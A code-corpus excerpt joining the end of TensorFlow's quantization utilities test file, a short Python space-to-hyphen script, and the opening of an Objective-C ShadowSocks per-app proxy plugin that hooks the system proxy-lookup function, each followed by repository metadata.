<< " input_type=" << DataTypeString(DataTypeToEnum<InputType>::v())
<< " output_type=" << DataTypeString(DataTypeToEnum<OutputType>::v());
}
}
}
template <typename InputType, typename OutputType>
void TimeRequantizeManyInNewRange(int64_t num_elements, int64_t iterations,
bool use_eigen) {
const float input_min = -100.0f;
const float input_max = 100.0f;
const float output_min = -1000000.0f;
const float output_max = 1000000.0f;
random::PhiloxRandom philox(testing::RandomSeed(), 17);
random::SimplePhilox rnd(&philox);
std::vector<InputType> values_quantized;
for (int i = 0; i < num_elements; ++i) {
float v = (rnd.RandFloat() * (input_max - input_min)) + input_min;
values_quantized.push_back(
FloatToQuantized<InputType>(v, input_min, input_max));
}
thread::ThreadPool threadpool(Env::Default(), "test", 4 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
4 /* num_threads */);
Tensor i_tensor =
tensorflow::test::AsTensor(gtl::ArraySlice<InputType>(values_quantized));
const auto i_array = i_tensor.flat<InputType>();
Tensor o_tensor_eigen(DataTypeToEnum<OutputType>::v(),
TensorShape{num_elements});
Tensor o_tensor_ref(DataTypeToEnum<OutputType>::v(),
TensorShape{num_elements});
auto output_values_ref = o_tensor_ref.flat<OutputType>();
int64_t total_duration = 0;
for (int i = 0; i < iterations; ++i) {
const int64_t start_time = Env::Default()->NowMicros();
if (use_eigen) {
RequantizeManyInNewRangeUsingEigen<InputType, OutputType>(
eigen_device, i_tensor, input_min, input_max, output_min, output_max,
&o_tensor_eigen);
} else {
RequantizeManyInNewRange<InputType, OutputType>(
i_array.data(), i_array.size(), input_min, input_max, output_min,
output_max, output_values_ref.data());
}
const int64_t end_time = Env::Default()->NowMicros();
total_duration += end_time - start_time;
}
const int64_t one_run_duration = total_duration / iterations;
const int64_t num_ops = num_elements;
const double million_ops_per_second =
(iterations * num_ops) / static_cast<double>(total_duration);
LOG(INFO) << "TimeRequantizeManyInNewRange: " << num_elements
<< (use_eigen ? " eigen" : " ref") << ": iterations=" << iterations
<< ", MOps/s=" << million_ops_per_second
<< ", one_run_duration=" << one_run_duration
<< ", total_duration=" << total_duration;
}
template <typename T>
void TestFloatToQuantizedInPlaceUsingEigen(
Eigen::ThreadPoolDevice* eigen_device) {
// These are the float values we're going to test the conversions on.
typedef std::pair<float, float> FPair;
for (FPair min_and_max : std::vector<FPair>{FPair(-255.0f, 255.0f), //
FPair(-1.0f, 1.0f), //
FPair(-1.0f, 255.0f), //
FPair(0.0f, 1e6), //
FPair(0.0f, 1.0f), //
FPair(-31.0f, 13.0f)}) {
const float f_min = min_and_max.first;
const float f_max = min_and_max.second;
const float f_range = f_max - f_min;
const int values_count = 50000;
Tensor input(DT_FLOAT, TensorShape{values_count});
auto input_array = input.flat<float>();
for (int i = 0; i < values_count; ++i) {
input_array(i) = f_min + f_range * i / (values_count - 1);
}
Tensor output(DataTypeToEnum<T>::v(), TensorShape{values_count});
FloatTensorToQuantizedInPlaceUsingEigen<T>(*eigen_device, input, f_min,
f_max, &output);
auto output_array = output.flat<T>();
const int tolerance = 1;
for (int i = 0; i < values_count; ++i) {
int32_t expected = FloatToQuantized<T>(input_array(i), f_min, f_max);
int32_t actual = output_array(i);
// The eigen computation uses float for constants and computation
// instead
// of doubles, so can be different by 1 or 2 in some cases (e.g., input
// value 144.062744140625, min -1, max 255, type quint8).
ASSERT_TRUE(std::abs(expected - actual) <= tolerance)
<< "expected=" << expected << " actual=" << actual
<< " tolerance=" << tolerance << " v=" << input_array(i) << " i=" << i
<< " f_min=" << f_min << " f_max=" << f_max
<< " type=" << DataTypeString(DataTypeToEnum<T>::v());
}
}
}
template <typename T>
void TestQuantizedToFloatInPlaceUsingEigen(
Eigen::ThreadPoolDevice* eigen_device) {
// These are the float values we're going to test the conversions on.
typedef std::pair<float, float> FPair;
for (FPair min_and_max : std::vector<FPair>{
FPair(-255.0f, 255.0f),
FPair(-1.0f, 1.0f),
FPair(-1.0f, 255.0f),
FPair(0.0f, 1e6),
FPair(0.0f, 1.0f),
FPair(-31.0f, 13.0f),
FPair(-5.89505e+08, 5.89505e+08),
}) {
const float f_min = min_and_max.first;
const float f_max = min_and_max.second;
const int values_count = sizeof(T) == 1 ? 256 : 50000;
Tensor input(DataTypeToEnum<T>::v(), TensorShape{values_count});
auto input_array = input.flat<T>();
const double q_range = static_cast<double>(Eigen::NumTraits<T>::highest()) -
Eigen::NumTraits<T>::lowest();
for (int i = 0; i < values_count; ++i) {
if (sizeof(T) == 1) {
input_array(i) = Eigen::NumTraits<T>::lowest() + i;
} else {
int64_t offset = static_cast<int64_t>(q_range / values_count * i);
input_array(i) = static_cast<int32>(
std::min<int64_t>(Eigen::NumTraits<T>::lowest() + offset,
Eigen::NumTraits<T>::highest()));
}
}
Tensor output(DT_FLOAT, TensorShape{values_count});
QuantizedTensorToFloatInPlaceUsingEigen<T>(*eigen_device, input, f_min,
f_max, &output);
auto output_array = output.flat<float>();
const double range = static_cast<double>(f_max) - f_min;
for (int i = 0; i < values_count; ++i) {
float expected = QuantizedToFloat<T>(input_array(i), f_min, f_max);
float actual = output_array(i);
ASSERT_NEAR(expected, actual, range * 1.1e-7)
<< "expected=" << expected << " actual=" << actual
<< " v=" << input_array(i) << " i=" << i << " f_min=" << f_min
<< " f_max=" << f_max
<< " type=" << DataTypeString(DataTypeToEnum<T>::v());
}
}
}
} // namespace
void TestFloatToQuantized() {
EXPECT_EQ(quint8(0), FloatToQuantized<quint8>(0.0f, 0.0f, 1.0f));
EXPECT_EQ(quint8(0), FloatToQuantized<quint8>(0.0f, 0.0f, 2.0f));
EXPECT_EQ(quint8(128), FloatToQuantized<quint8>(0.5f, 0.0f, 1.0f));
EXPECT_EQ(quint8(128), FloatToQuantized<quint8>(1.0f, 0.0f, 2.0f));
EXPECT_EQ(quint8(255), FloatToQuantized<quint8>(1.0f, 0.0f, 1.0f));
EXPECT_EQ(quint8(255), FloatToQuantized<quint8>(2.0f, 0.0f, 2.0f));
EXPECT_EQ(quint8(0), FloatToQuantized<quint8>(-128.0f, -128.0f, 127.0f));
EXPECT_EQ(quint8(128), FloatToQuantized<quint8>(0.0f, -128.0f, 127.0f));
EXPECT_EQ(quint8(255), FloatToQuantized<quint8>(127.0f, -128.0f, 127.0f));
EXPECT_EQ(quint8(0), FloatToQuantized<quint8>(1.0f, 1.0f, 256.0f));
EXPECT_EQ(quint8(127), FloatToQuantized<quint8>(128.0f, 1.0f, 256.0f));
EXPECT_EQ(quint8(255), FloatToQuantized<quint8>(256.0f, 1.0f, 256.0f));
const int int32_min = std::numeric_limits<int>::min();
const int int32_max = std::numeric_limits<int>::max();
EXPECT_EQ(qint32(int32_min),
FloatToQuantized<qint32>(-128.0f, -128.0f, 128.0f));
EXPECT_EQ(qint32(0), FloatToQuantized<qint32>(0.0f, -128.0f, 128.0f));
EXPECT_EQ(qint32(int32_max),
FloatToQuantized<qint32>(128.0f, -128.0f, 128.0f));
}
void TestQuantizedToFloat() {
EXPECT_LT(fabsf(0.0f - QuantizedToFloat<quint8>(0, 0.0f, 1.0f)), 1 / 255.0f);
EXPECT_LT(fabsf(0.0f - QuantizedToFloat<quint8>(0, 0.0f, 2.0f)), 1 / 255.0f);
EXPECT_LT(fabsf(0.5f - QuantizedToFloat<quint8>(127, 0.0f, 1.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(1.0f - QuantizedToFloat<quint8>(127, 0.0f, 2.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(1.0f - QuantizedToFloat<quint8>(255, 0.0f, 1.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(2.0f - QuantizedToFloat<quint8>(255, 0.0f, 2.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(1.0f - QuantizedToFloat<quint8>(0, 1.0f, 256.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(128.0f - QuantizedToFloat<quint8>(127, 1.0f, 256.0f)),
1 / 255.0f);
EXPECT_LT(fabsf(256.0f - QuantizedToFloat<quint8>(255, 1.0f, 256.0f)),
1 / 255.0f);
const int int32_min = std::numeric_limits<int>::min();
const int int32_max = std::numeric_limits<int>::max();
EXPECT_NEAR(-1.0f, QuantizedToFloat<qint32>(qint32(int32_min), -1.0f, 1.0f),
1e-5f);
EXPECT_NEAR(0.0f, QuantizedToFloat<qint32>(qint32(0), -1.0f, 1.0f), 1e-5f);
EXPECT_NEAR(1.0f, QuantizedToFloat<qint32>(qint32(int32_max), -1.0f, 1.0f),
1e-5f);
EXPECT_NEAR(32.0f, QuantizedToFloat<qint32>(qint32(32), int32_min, int32_max),
1.0);
}
void TestAvoidBias() {
for (int i = 0; i < 256; ++i) {
const float as_float = QuantizedToFloat<quint8>(i, 0.0f, 2.0f);
const int back_to_int = FloatToQuantized<quint8>(as_float, 0.0f, 2.0f);
EXPECT_EQ(i, back_to_int);
}
// All perfectly representable floats should survive quantization, even
// if we pick a range where min is not itself perfectly representable.
const float min = -0.1375f;
const float max = 1.1385f;
const float step_size = (max - min) / 255.0f;
const float tolerance = step_size / 1000.0f;
// This is the smallest perfectly representable float in the range.
float first_float = std::ceil(min / step_size) * step_size;
for (float f = first_float; f <= max; f += step_size) {
const int as_int = FloatToQuantized<quint8>(f, min, max);
const float back_to_float = QuantizedToFloat<quint8>(as_int, min, max);
EXPECT_NEAR(f, back_to_float, tolerance);
}
}
void TestRequantizeInNewRange() {
// These are the float values we're going to test the conversions on.
const size_t values_count = 6;
const float values[values_count] = {0.0f, 0.5f, 1.0f, -1.0f, 127.0f, 255.0f};
// These are the input and output ranges we'll test.
const size_t ranges_count = 4;
const float ranges[ranges_count][4] = {
{0.0f, 255.0f, 0.0f, 255.0f},
{0.0f, 1.0f, 0.0f, 1.0f},
{-1.0f, 1.0f, -1.0f, 1.0f},
{-1.0f, 1.0f, -255.0f, 255.0f},
};
for (size_t value_index = 0; value_index < values_count; ++value_index) {
const float value_float = values[value_index];
for (size_t range_index = 0; range_index < ranges_count; ++range_index) {
const float input_min = ranges[range_index][0];
const float input_max = ranges[range_index][1];
const float output_min = ranges[range_index][2];
const float output_max = ranges[range_index][3];
const quint8 input_value =
FloatToQuantized<quint8>(value_float, input_min, input_max);
// Here we convert the quantized input value to what we expect
// to get in the output range.
const qint32 expected_value = FloatToQuantized<qint32>(
QuantizedToFloat(input_value, input_min, input_max), output_min,
output_max);
EXPECT_EQ(expected_value,
(RequantizeInNewRange<quint8, qint32>(
input_value, input_min, input_max, output_min, output_max)))
<< "value_float=" << value_float << ", input_min=" << input_min
<< ", input_max=" << input_max << ", output_min=" << output_min
<< ", output_max=" << output_max;
}
}
}
void TestRequantizeInNewRangeRealData() {
const float input_min = -0.739539f;
const float input_max = 0.641057f;
const float output_min = -2381.49f;
const float output_max = 2207.6f;
// Start with a value that can be perfectly represented in 8 bits. This
// ensures minimal quantization error, and allows us to use EXPECT_LT below.
const float value_as_float =
QuantizedToFloat<quint8>(83, input_min, input_max);
const quint8 value_as_quint8 =
FloatToQuantized<quint8>(value_as_float, input_min, input_max);
EXPECT_EQ(quint8(83), value_as_quint8);
const qint32 actual_output = RequantizeInNewRange<quint8, qint32>(
value_as_quint8, input_min, input_max, output_min, output_max);
const qint32 value_as_qint32 =
FloatToQuantized<qint32>(value_as_float, output_min, output_max);
EXPECT_LT(std::abs(value_as_qint32 - actual_output), 10);
}
void TestRequantizeInNewRange32To8Bit() {
// These are the float values we're going to test the conversions on.
const size_t values_count = 6;
const float values[values_count] = {0.0f, 0.45f, 1.0f, -1.0f, 127.0f, 255.0f};
// These are the input and output ranges we'll test.
const size_t ranges_count = 4;
const float ranges[ranges_count][4] = {
{0.0f, 255.0f, 0.0f, 255.0f},
{0.0f, 1.0f, 0.0f, 1.0f},
{-1.0f, 1.0f, -1.0f, 1.0f},
{-1.0f, 1.0f, -255.0f, 255.0f},
};
for (size_t value_index = 0; value_index < values_count; ++value_index) {
const float value_float = values[value_index];
for (size_t range_index = 0; range_index < ranges_count; ++range_index) {
const float input_min = ranges[range_index][0];
const float input_max = ranges[range_index][1];
const float output_min = ranges[range_index][2];
const float output_max = ranges[range_index][3];
const qint32 input_value =
FloatToQuantized<qint32>(value_float, input_min, input_max);
// Here we convert the quantized input value to what we expect
// to get in the output range.
const quint8 expected_value = FloatToQuantized<quint8>(
QuantizedToFloat(input_value, input_min, input_max), output_min,
output_max);
EXPECT_EQ(expected_value,
(RequantizeInNewRange<qint32, quint8>(
input_value, input_min, input_max, output_min, output_max)))
<< "input_value=" << input_value << ", value_float=" << value_float
<< ", input_min=" << input_min << ", input_max=" << input_max
<< ", output_min=" << output_min << ", output_max=" << output_max;
}
}
}
void TestRequantizeManyInNewRange32To8Bit() {
TestRequantizeManyInNewRange32To8Bit(nullptr /* eigen_device */);
}
void TestRequantizeManyInNewRange32To8BitUsingEigen() {
thread::ThreadPool threadpool(Env::Default(), "test", 2 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
2 /* num_threads */);
TestRequantizeManyInNewRange32To8Bit(&eigen_device);
}
void TestRequantizeManyInNewRange32To8BitEigenVsNonEigen() {
TestRequantizeManyInNewRangeEigenVsNonEigen<qint32, quint8>();
}
void TestRequantizeManyInNewRange32To8BitSignedEigenVsNonEigen() {
TestRequantizeManyInNewRangeEigenVsNonEigen<qint32, qint8>();
}
void TestFloatTensorToQuantized() {
const int input_width = 3;
const int input_height = 3;
const float input_min = 0.0f;
const float input_max = 255.0f;
Tensor input(DT_FLOAT, TensorShape({input_height, input_width}));
test::FillValues<float>(&input, {1.0f, -1.0f, 10.0f, 10.25f, 127.0f, 255.0f,
512.0f, 0.0f, 23.0f});
Tensor expected(DT_QUINT8, TensorShape({input_height, input_width}));
test::FillValues<quint8>(&expected, {1, 0, 10, 10, 127, 255, 255, 0, 23});
Tensor output = FloatTensorToQuantized<quint8>(input, input_min, input_max);
test::ExpectTensorEqual<quint8>(expected, output);
}
// Verify that FloatToQuantizedInPlaceUsingEigen is same result as
// FloatToQuantized.
void TestFloatToQuantizedInPlaceUsingEigen() {
thread::ThreadPool threadpool(Env::Default(), "test", 2 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
2 /* num_threads */);
TestFloatToQuantizedInPlaceUsingEigen<quint8>(&eigen_device);
TestFloatToQuantizedInPlaceUsingEigen<qint8>(&eigen_device);
TestFloatToQuantizedInPlaceUsingEigen<quint16>(&eigen_device);
TestFloatToQuantizedInPlaceUsingEigen<qint16>(&eigen_device);
}
void TestOverflowWithEigen() {
thread::ThreadPool threadpool(Env::Default(), "test", 2 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
2 /* num_threads */);
const int num_vals = 4;
const float input_min = 0.0f;
const float input_max = 2400.0f;
TensorShape shape({num_vals});
Tensor input(DT_FLOAT, shape);
test::FillValues<float>(&input, {-100.f, 0.f, 2400.0f, 2400.0f});
Tensor expected(DT_QINT32, shape);
// Note that the positive expected values are not the highest int32 value,
// because the implementation does a bounds check using float, not int32.
test::FillValues<qint32>(
&expected,
{static_cast<int32>(-2147483648), static_cast<int32>(-2147483648),
static_cast<int32>(2147483520), static_cast<int32>(2147483520)});
FloatToQuantizedStruct<qint32> f2q(input_min, input_max);
Tensor output(DT_QINT32, shape);
auto input_array = input.flat<float>();
output.flat<qint32>() = QUANTIZE_WITH_EIGEN(input_array, f2q, qint32);
test::ExpectTensorEqual<qint32>(expected, output);
}
void TestQuantizedTensorToFloat() {
const int input_width = 3;
const int input_height = 3;
const float input_min = -128.0f;
const float input_max = 127.0f;
Tensor input(DT_QUINT8, TensorShape({input_height, input_width}));
test::FillValues<quint8>(&input, {0, 128, 255, 23, 24, 25, 243, 244, 245});
Tensor expected(DT_FLOAT, TensorShape({input_height, input_width}));
test::FillValues<float>(&expected, {-128.0f, 0.0f, 127.0f, -105.0f, -104.0f,
-103.0f, 115.0f, 116.0f, 117.0f});
Tensor output = QuantizedTensorToFloat<quint8>(input, input_min, input_max);
test::ExpectTensorEqual<float>(expected, output);
// Test for signed 32 bit.
// Note that we cannot use input mins and maxes that match the range because
// there are 7 too few bits of mantissa accuracy in floats to represent
// 2**31-1 accurately. Also there is no good fraction to use because 2**31-1
// is a mersenne prime.
Tensor input32(DT_QINT32, TensorShape({input_height, input_width}));
// Use a quantizer centered at 0.
float input_range = 1LL << 25;
int64_t num_levels = (1LL << 32) - 1;
float step_size =
static_cast<float>(static_cast<double>(input_range) / num_levels);
float q_compatible_min_value =
roundf(-(input_range / 2.0) / step_size) * step_size;
float q_compatible_max_value = q_compatible_min_value + input_range;
test::FillValues<qint32>(&input32, {-16384, 0, 16256, -13440, -13312, -13184,
14720, 14848, 14976});
Tensor output32 = QuantizedTensorToFloat<qint32>(
input32, q_compatible_min_value, q_compatible_max_value);
test::FillValues<float>(&expected, {-128.0f, 0.0f, 127.0f, -105.0f, -104.0f,
-103.0f, 115.0f, 116.0f, 117.0f});
// The quantization error in going between 1<<25 and 1<<32 levels.
const double kTolerance = .5 / 128.0;
test::ExpectTensorNear<float>(expected, output32, kTolerance);
}
// Verify that QuantizedToFloatInPlaceUsingEigen is same result as
// QuantizedToFloat.
void TestQuantizedToFloatInPlaceUsingEigen() {
thread::ThreadPool threadpool(Env::Default(), "test", 2 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
2 /* num_threads */);
TestQuantizedToFloatInPlaceUsingEigen<quint8>(&eigen_device);
TestQuantizedToFloatInPlaceUsingEigen<qint8>(&eigen_device);
TestQuantizedToFloatInPlaceUsingEigen<quint16>(&eigen_device);
TestQuantizedToFloatInPlaceUsingEigen<qint16>(&eigen_device);
TestQuantizedToFloatInPlaceUsingEigen<qint32>(&eigen_device);
}
void BenchmarkRequantizeManyInNewRange() {
TimeRequantizeManyInNewRange<qint32, quint8>(1000, 1000, false);
TimeRequantizeManyInNewRange<qint32, quint8>(1000, 1000, true);
TimeRequantizeManyInNewRange<qint32, quint8>(100000, 100, false);
TimeRequantizeManyInNewRange<qint32, quint8>(100000, 100, true);
TimeRequantizeManyInNewRange<qint32, quint8>(1000000, 10, false);
TimeRequantizeManyInNewRange<qint32, quint8>(1000000, 10, true);
TimeRequantizeManyInNewRange<quint8, qint32>(1000, 1000, false);
TimeRequantizeManyInNewRange<quint8, qint32>(1000, 1000, true);
TimeRequantizeManyInNewRange<quint8, qint32>(100000, 100, false);
TimeRequantizeManyInNewRange<quint8, qint32>(100000, 100, true);
TimeRequantizeManyInNewRange<quint8, qint32>(1000000, 10, false);
TimeRequantizeManyInNewRange<quint8, qint32>(1000000, 10, true);
}
#ifdef QUANTIZATION_UTILS_USE_NEON
template <int POW>
void TestDivide64x2Pow(int64 val, int64 ref) {
const int64x2_t val_64x2 = vmovq_n_s64(val);
const int64x2_t ret = Divide64x2Pow<POW>(val_64x2);
// TODO(b/70947959) Change back to int64 when possible
int64_t rets[2];
vst1q_s64(rets, ret);
EXPECT_EQ(rets[0], ref);
EXPECT_EQ(rets[1], ref);
VLOG(1) << "div: val " << val << ", " << ref;
}
template <int POW>
void TestDivide64x2PowRound(int64 val, int64 ref) {
const int64x2_t val_64x2 = vmovq_n_s64(val);
const int64x2_t shifted = Divide64x2PowRound<POW>(val_64x2);
// TODO(b/70947959) Change back to int64 when possible
int64_t rets[2];
vst1q_s64(rets, shifted);
EXPECT_EQ(rets[0], ref) << "in = " << val << ", " << POW
<< ", act = " << rets[0] << ", ref = " << ref;
EXPECT_EQ(rets[1], ref);
VLOG(1) << "div round: " << val << ", " << rets[0];
}
void TestDivide64x2PowAll() {
for (int64 i = 0; i < 1000; ++i) {
TestDivide64x2PowRound<1>(
i, static_cast<int64_t>(static_cast<float>(i) / 2.0f + 0.5f));
TestDivide64x2PowRound<1>(
-i, static_cast<int64_t>(static_cast<float>(-i) / 2.0f - 0.5f));
TestDivide64x2PowRound<2>(
i, static_cast<int64_t>(static_cast<float>(i) / 4.0f + 0.5f));
TestDivide64x2PowRound<2>(
-i, static_cast<int64_t>(static_cast<float>(-i) / 4.0f - 0.5f));
TestDivide64x2PowRound<4>(
i, static_cast<int64_t>(static_cast<float>(i) / 16.0f + 0.5f));
TestDivide64x2PowRound<4>(
-i, static_cast<int64_t>(static_cast<float>(-i) / 16.0f - 0.5f));
TestDivide64x2PowRound<8>(
i, static_cast<int64_t>(static_cast<float>(i) / 256.0f + 0.5f));
TestDivide64x2PowRound<8>(
-i, static_cast<int64_t>(static_cast<float>(-i) / 256.0f - 0.5f));
TestDivide64x2PowRound<16>(
i, static_cast<int64_t>(static_cast<float>(i) / 65536.0f + 0.5f));
TestDivide64x2PowRound<16>(
-i, static_cast<int64_t>(static_cast<float>(-i) / 65536.0f - 0.5f));
}
TestDivide64x2Pow<2>(100, 25);
TestDivide64x2Pow<2>(-100, -25);
TestDivide64x2Pow<4>(100, 6);
TestDivide64x2Pow<4>(-100, -6);
for (int64 i = 0; i < 1000; ++i) {
TestDivide64x2Pow<1>(i, i / 2);
TestDivide64x2Pow<1>(-i, -i / 2);
TestDivide64x2Pow<2>(i, i / 4);
TestDivide64x2Pow<2>(-i, -i / 4);
TestDivide64x2Pow<4>(i, i / 16);
TestDivide64x2Pow<4>(-i, -i / 16);
TestDivide64x2Pow<8>(i, i / 256);
TestDivide64x2Pow<8>(-i, -i / 256);
TestDivide64x2Pow<16>(i, i / 65536);
TestDivide64x2Pow<16>(-i, -i / 65536);
}
}
uint8x8_t To8x8(uint8 val) { return vmov_n_u8(val); }
int16x8_t To16x8(int16 val) { return vmovq_n_s16(val); }
int32x2_t To32x2(int32 val) {
int32 vals[2];
vals[0] = val;
vals[1] = val;
return vld1_s32(vals);
}
template <int RESOLUTION, typename T_CALC>
T_CALC ComputeRefLerp(T_CALC top_left, T_CALC top_right, T_CALC bottom_left,
T_CALC bottom_right, T_CALC x_lerp, T_CALC y_lerp) {
constexpr T_CALC RESOLUTION_POW = (1 << RESOLUTION);
const T_CALC top =
top_left * RESOLUTION_POW + (top_right - top_left) * x_lerp;
const T_CALC bottom =
bottom_left * RESOLUTION_POW + (bottom_right - bottom_left) * x_lerp;
const T_CALC out = top + (bottom - top) / RESOLUTION_POW * y_lerp;
return (out + RESOLUTION_POW / 2) / RESOLUTION_POW;
}
template <int RESOLUTION>
void TestComputeLerp8x8(uint8 top_left, uint8 top_right, uint8 bottom_left,
uint8 bottom_right, int16 x_lerp, int16 y_lerp) {
uint8x8_t top_left8x8 = To8x8(top_left);
uint8x8_t top_right8x8 = To8x8(top_right);
uint8x8_t bottom_left8x8 = To8x8(bottom_left);
uint8x8_t bottom_right8x8 = To8x8(bottom_right);
int16x8_t x_lerp16x8 = To16x8(x_lerp);
int16x8_t y_lerp16x8 = To16x8(y_lerp);
const uint8x8_t ret =
ComputeLerp8x8<RESOLUTION>(top_left8x8, top_right8x8, bottom_left8x8,
bottom_right8x8, x_lerp16x8, y_lerp16x8);
uint8 rets[8];
vst1_u8(rets, ret);
const int16 ref = ComputeRefLerp<RESOLUTION, int16>(
static_cast<int16>(top_left), static_cast<int16>(top_right),
static_cast<int16>(bottom_left), static_cast<int16>(bottom_right), x_lerp,
y_lerp);
for (int i = 0; i < 8; ++i) {
EXPECT_EQ(ref, static_cast<int16>(rets[i]));
}
VLOG(1) << "Lerp(8): " << static_cast<int>(top_left) << ", "
<< static_cast<int>(top_right) << ", "
<< static_cast<int>(bottom_left) << ", "
<< static_cast<int>(bottom_right) << ", " << x_lerp << ", " << y_lerp
<< ", " << static_cast<int>(rets[0]) << ", " << ref;
}
template <int RESOLUTION>
void TestComputeLerp32x2(int32 top_left, int32 top_right, int32 bottom_left,
int32 bottom_right, int32 x_lerp, int32 y_lerp) {
int32x2_t top_left32x2 = To32x2(top_left);
int32x2_t top_right32x2 = To32x2(top_right);
int32x2_t bottom_left32x2 = To32x2(bottom_left);
int32x2_t bottom_right32x2 = To32x2(bottom_right);
int32x2_t x_lerp32x2 = To32x2(x_lerp);
int32x2_t y_lerp32x2 = To32x2(y_lerp);
const int32x2_t ret =
ComputeLerp32x2<RESOLUTION>(top_left32x2, top_right32x2, bottom_left32x2,
bottom_right32x2, x_lerp32x2, y_lerp32x2);
int32 rets[2];
vst1_s32(rets, ret);
const int64 ref = ComputeRefLerp<RESOLUTION, int64>(
static_cast<int64_t>(top_left), static_cast<int64_t>(top_right),
static_cast<int64_t>(bottom_left), static_cast<int64_t>(bottom_right),
static_cast<int64_t>(x_lerp), static_cast<int64_t>(y_lerp));
EXPECT_EQ(static_cast<int64_t>(rets[0]), ref);
VLOG(1) << "Lerp(32): " << top_left << ", " << top_right << ", "
<< bottom_left << ", " << bottom_right << ", " << x_lerp << ", "
<< y_lerp << ", " << rets[0] << ", " << ref;
}
void TestComputeLerp4xAll() {
constexpr int32 RESOLUTION_32 = 30;
constexpr int32 RESOLUTION_MULT_32 = (1 << RESOLUTION_32);
constexpr int32 HALF_32 = RESOLUTION_MULT_32 / 2;
TestComputeLerp32x2<RESOLUTION_32>(100, 200, 300, 400, HALF_32, HALF_32);
TestComputeLerp32x2<RESOLUTION_32>(100, 100, 200, 200, HALF_32, HALF_32);
TestComputeLerp32x2<RESOLUTION_32>(200, 200, 100, 100, HALF_32, HALF_32);
TestComputeLerp32x2<RESOLUTION_32>(100, 200, 100, 200, HALF_32, HALF_32);
TestComputeLerp32x2<RESOLUTION_32>(200, 100, 200, 100, HALF_32, HALF_32);
TestComputeLerp32x2<RESOLUTION_32>(200, 200, 200, 200, HALF_32, HALF_32);
constexpr int32 RESOLUTION_8 = 7;
constexpr int32 RESOLUTION_MULT_8 = (1 << RESOLUTION_8);
constexpr int32 HALF_8 = RESOLUTION_MULT_8 / 2;
TestComputeLerp8x8<RESOLUTION_8>(10, 20, 30, 40, HALF_8, HALF_8);
TestComputeLerp8x8<RESOLUTION_8>(100, 100, 200, 200, HALF_8, HALF_8);
TestComputeLerp8x8<RESOLUTION_8>(200, 200, 100, 100, HALF_8, HALF_8);
TestComputeLerp8x8<RESOLUTION_8>(100, 200, 100, 200, HALF_8, HALF_8);
TestComputeLerp8x8<RESOLUTION_8>(200, 100, 200, 100, HALF_8, HALF_8);
TestComputeLerp8x8<RESOLUTION_8>(200, 200, 200, 200, HALF_8, HALF_8);
}
#endif
} // namespace tensorflow
#define RUN_TEST(t) \
TEST(QuantizationUtilsTest, t) { tensorflow::t(); }
RUN_TEST(TestFloatToQuantized);
RUN_TEST(TestQuantizedToFloat);
RUN_TEST(TestAvoidBias);
RUN_TEST(TestRequantizeInNewRange);
RUN_TEST(TestRequantizeInNewRangeRealData);
RUN_TEST(TestRequantizeInNewRange32To8Bit);
RUN_TEST(TestRequantizeManyInNewRange32To8Bit);
RUN_TEST(TestRequantizeManyInNewRange32To8BitUsingEigen);
RUN_TEST(TestRequantizeManyInNewRange32To8BitEigenVsNonEigen);
RUN_TEST(TestRequantizeManyInNewRange32To8BitSignedEigenVsNonEigen);
RUN_TEST(TestFloatTensorToQuantized);
RUN_TEST(TestRequantizeManyInNewRange8To32Bit);
RUN_TEST(TestFloatToQuantizedInPlaceUsingEigen);
RUN_TEST(TestOverflowWithEigen);
RUN_TEST(TestQuantizedTensorToFloat);
RUN_TEST(TestQuantizedToFloatInPlaceUsingEigen);
#if defined(__ANDROID__)
RUN_TEST(BenchmarkRequantizeManyInNewRange);
#ifdef QUANTIZATION_UTILS_USE_NEON
RUN_TEST(TestDivide64x2PowAll);
RUN_TEST(TestComputeLerp4xAll);
#endif // QUANTIZATION_UTILS_USE_NEON
#endif // __ANDROID__
int main(int argc, char** argv) {
// On Linux, add: absl::SetFlag(&FLAGS_logtostderr, true);
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
| C++ | 5 | EricRemmerswaal/tensorflow | tensorflow/core/kernels/quantization_utils_test.cc | [
"Apache-2.0"
] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# program to replace all the spaces in an entered string with a hyphen"-"
def replacetext(string):
string = string.replace(" ", "-")
return string
S = input("Enter a text to replace all its spaces with hyphens: ")
N = replacetext(S)
print("The changed text is: ", N)
| Python | 4 | Wish1991/Python | replacetext.py | [
"MIT"
] |
/*
* ShadowSocks Per-App Proxy Plugin
* https://github.com/linusyang/MobileShadowSocks
*
* Copyright (c) 2014 Linus Yang <laokongzi@gmail.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <UIKit/UIKit.h>
#include <libfinder/LFFinderController.h>
#define FUNC_NAME SCDynamicStoreCopyProxies
#define ORIG_FUNC original_ ## FUNC_NAME
#define CUST_FUNC custom_ ## FUNC_NAME
#define DECL_FUNC(ret, ...) \
extern ret FUNC_NAME(__VA_ARGS__); \
static ret (*ORIG_FUNC)(__VA_ARGS__); \
ret CUST_FUNC(__VA_ARGS__)
#define HOOK_FUNC() \
MSHookFunction(FUNC_NAME, (void *) CUST_FUNC, (void **) &ORIG_FUNC)
typedef const struct __SCDynamicStore *SCDynamicStoreRef;
void MSHookFunction(void *symbol, void *replace, void **result);
static BOOL proxyEnabled = YES;
static BOOL spdyDisabled = YES;
static BOOL finderEnabled = YES;
static BOOL getValue(NSDictionary *dict, NSString *key, BOOL defaultVal)
{
if (dict == nil || key == nil) {
return defaultVal;
}
NSNumber *valObj = [dict objectForKey:key];
if (valObj == nil) {
return defaultVal;
}
